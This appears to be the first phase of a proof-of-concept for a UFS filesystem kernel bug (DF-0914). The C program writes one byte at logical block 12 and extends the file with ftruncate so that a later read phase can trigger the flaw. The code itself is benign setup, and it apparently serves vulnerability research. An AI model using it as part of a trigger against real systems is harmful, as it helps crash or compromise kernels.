DF-0914 / trigger.c
/* * trigger.c - DF-0914 write-phase trigger (Phase A). * * Opens a file on a CORRECT (unforged) UFS filesystem, writes 1 byte at * lbn=12 (allocates i_ib[0] single-indirect block with correct in_off=0), * then ftruncates to a large size (covers lbn=8203 for Phase B's read). * * With correct fs_nindir, all ffs_balloc operations are in-bounds. * * Build: cc -o trigger trigger.c * Usage: ./trigger <file> <write_off> <dummy> * write_off defaults to 196608 (lbn=12) */ #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <errno.h> #include <string.h> int main(int argc, char **argv) { const char *path = (argc > 1) ? argv[1] : "/mnt/test/target"; off_t write_off = (argc > 2) ? strtoull(argv[2], NULL, 0) : 196608; off_t extend_to = 134283264 + 1; /* covers lbn=8203 */ printf("=== DF-0914 Phase A: write + ftruncate on correct image ===\n"); printf("file: %s\n", path); printf("write_off: %lld (lbn=%lld)\n", (long long)write_off, (long long)(write_off / 16384)); printf("extend_to: %lld (covers lbn=8203)\n", (long long)extend_to); int fd = open(path, O_RDWR | O_CREAT, 0644); if (fd < 0) { perror("open"); return 2; } /* Write 1 byte at lbn=12 to allocate i_ib[0] */ printf("[A1] writing 1 byte at offset %lld ...\n", (long long)write_off); if (lseek(fd, write_off, SEEK_SET) < 0) { perror("lseek"); close(fd); return 2; } char z = 'X'; if (write(fd, &z, 1) != 1) { perror("write"); close(fd); return 3; } printf(" WRITE OK (i_ib[0] allocated)\n"); /* ftruncate to cover lbn=8203 — sparse, no block allocation */ printf("[A2] ftruncate to %lld ...\n", (long long)extend_to); if (ftruncate(fd, extend_to) < 0) { perror("ftruncate"); close(fd); return 2; } printf(" FTRUNCATE OK (i_size = %lld)\n", (long long)extend_to); close(fd); return 0; } |